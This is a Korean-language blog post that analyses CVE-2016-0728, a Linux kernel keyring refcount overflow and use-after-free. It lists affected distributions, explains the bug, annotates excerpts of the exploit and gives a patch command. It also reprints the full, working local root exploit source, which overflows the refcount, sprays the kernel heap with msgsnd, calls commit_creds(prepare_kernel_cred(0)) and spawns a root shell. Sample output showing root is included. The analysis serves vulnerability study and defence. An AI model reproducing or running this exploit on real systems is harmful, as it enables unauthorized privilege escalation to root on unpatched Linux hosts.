[EXPLOIT] Linux Kernel REFCOUNT Overflow/UAF in Keyrings 취약점 분석

요즘 Linux Kernel 취약점이 간간히 많이 올라오는 것 같습니다 . 그 중 1월 9일 EDB를 통해 공개된 CVE-2016-0728 취약점에 대한 이야기입니다. 리눅스 전반적으로 영향력이 있어 파급력이 강한 취약점이네요.

EDB-ID: 39277 CVE: 2016-0728 OSVDB-ID: N/A EDB Verified: Author: Perception Point Team Published: 2016-01-19 Download Exploit: Source Raw Download Vulnerable App: N/A

취약버전 Red Hat Enterprise Linux 7 CentOS Linux 7 Scientific Linux 7 Debian Linux stable 8.x (jessie) Debian Linux testing 9.x (stretch) SUSE Linux Enterprise Desktop 12 SUSE Linux Enterprise Desktop 12 SP1 SUSE Linux Enterprise Server 12 SUSE Linux Enterprise Server 12 SP1 SUSE Linux Enterprise Workstation Extension 12 SUSE Linux Enterprise Workstation Extension 12 SP1 Ubuntu Linux 14.04 LTS (Trusty Tahr) Ubuntu Linux 15.04 (Vivid Vervet) Ubuntu Linux 15.10 (Wily Werewolf) Opensuse Linux LEAP and version 13.2

Linux Kernel Keyring

일단 이 취약점에 대해 분석하기 전에 Linux keyring에 대해 알아두면 좋습니다.

Kernel Keyring은 리눅스에서 사용하는 Kernel Level 함수입니다. 이 친구는 드라이버와 같이 커널안에서 사용하는 캐시데이터, 인증키, 암화화키 등등 여러 커널 데이터에 대해 보호합니다. 키를 관리하기 위한 툴이지요.

함수에 대한 자세한 내용은 man7.org에서 확인하면 좋습니다. http://man7.org/linux/man-pages/man7/keyrings.7.html

취약점 원리

이 취약점은 Linux Kernel Keyring 에서 Reference Leakage가 발생하여 최종적으로 권한상승까지 이어질 수 있는 취약점입니다. 키링은 프로세스들끼리 공유가 되는 부분이고 현재 사용되고 있는 키링과 같은 이름의 키링을 타 프로세스가 호출할 때 Leakage가 발생하며 이를 통해 OverFlow/UAF 까지 이어지게 됩니다.

Keyring 함수 중 Keyctl( man keyctl 으로 확인)을 사용하여 현재 세션에 대한 Keyring을 생성할 수 있습니다. keyctl 함수는 아래와 같은 인자값을 가지고 이를 사용하는 중 name 값에 대해 값을 주어 이름을 지정하는데

keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)

여기서 동일한 Keyring의 이름을 참조하여 프로세스 간 공유될 수 있습니다.

에러가 발생하기에 기존 취약 커널에서는 erro2 label로 jump하게 되고 이 과정 중 Leakage가 발생합니다.

공격자는 Refcount 를 OverFlow하고 Keyring Object에 대해 확보 후 커널 Object를 제어하여 최종적으로 높은 권한으로 명려수행까지 이루게 됩니다.

  1. Overflowing usage Refcount
  2. Freeing keyring object
  3. Allocating and controlling kernel object
  4. Gaining kernel code execution

자세한 내용은 해당 버그를 발견한 퍼셉션포인트의 분석보고서를 보시면 좋을 것 같습니다. http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

(코드만 보면서 해서 고생 좀 하다가 이거 보고 많이 도움됬다지요)

Exploit Code Analysis - Main

길어서 약간 간추려서 보겠습니다. 위쪽 코드는 Usage 등의 정보성 내용이고 약간 아래부터 보시면 좋겠네요.


printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());   //Exploit 시작 전 uid와 gid에 대해 보여줍니다.
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred =  // prepare_kernel_cred의 Memory Address 반환
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");  
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
    }

        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];

위에 코드 도입 부분에 prepare_kernel_cred =
(_prepare_kernel_cred)get_kernel_sym(“prepare_kernel_cred”);

부분이 있습니다. 아래 설명드릴 get_kernel_sym 함수를 통해 prepare_kernel_cred라는 이름을 찾아 메모리 값을 반환해줍니다.

그리고 쭉 보다보면 msg에 값을 넣어주는데, 이부분이 실제 공격에 들어가는 데이터 부분이 되겠지요.

Exploit Code Analysis - get_kernel_sym

해당 함수는 /proc/kallsyms 파일에서 입력값을 찾아 해당 주소를 반환해주는 함수입니다.


static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;

    f = fopen("/proc/kallsyms", "r"); //   /proc/kallsyms 를 읽기모드로 Open 합니다.
    if (f == NULL) {
        fprintf(stdout, "Unable to obtain symbol listing!\n");
        exit(0);
    }

    ret = 0;
    while(ret != EOF) { // fscanf 로 각각 구간을 addr, dummy, sname 변수에 넣어줍니다.
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {    // 입력 인자값과 sname 값을 비교합니다.
            fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;   // 있을 시 addr 값을 반환합니다.
        }
    }
    fclose(f);
    return 0;
}

Run

#> gcc Keyring_Exploit.c -o exploit -lkeyutils -Wall #> ./exploit uid=1000, euid=10000 Increfing… finished increfing forking… finished forking caling revoke uid=0, euid=0 # #> whoami root

대응 방안

Zero-Day가 아니기 때문에 패치한방으로 해결 가능합니다.

sudo apt-get update && sudo apt-get upgrade && apt-get dist-upgrade

아래 명령으로 버전에 대해 확인합니다.

uname -mrs

Linux 3.13.0-74-generic x86_64

Full Code


# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728

/* CVE-2016-0728 local root exploit
    modified by Federico Bento to read kernel symbols from /proc/kallsyms
    props to grsecurity/PaX for preventing this in so many ways

    $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
    $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*  
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)

struct key_type {
    char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
};

/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        fprintf(stdout, "Unable to obtain symbol listing!\n");
        exit(0);
    }

    ret = 0;
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    return 0;
}

void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
         unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
         struct key_type * my_key_type = NULL;

         struct {
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;

    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }

        printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred =  
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
    }

        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];

    /* Set the new session keyring before we start */

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
        }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |  
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    puts("[+] Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                    l = l/2;
                    sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }

        puts("[+] Finished increfing");
        puts("[+] Forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring  
object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                    perror("[-] fork");
                    return -1;
            }

            if (pid == 0) {
                    sleep(2);
                    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                        perror("[-] msgget");
                        exit(1);
                    }
                    for (i = 0; i < 64; i++) {
                        if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                                perror("[-] msgsnd");
                                exit(1);
                        }
                    }
                    sleep(-1);
                    exit(1);
            }
        }

        puts("[+] Finished forking");
        sleep(5);

        /* call userspace_revoke from kernel */
        puts("[+] Caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("[+] keyctl_revoke");
        }

        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);

        return 0;
}

Reference

https://www.exploit-db.com/exploits/39277/ http://man7.org/linux/man-pages/man7/keyrings.7.html http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/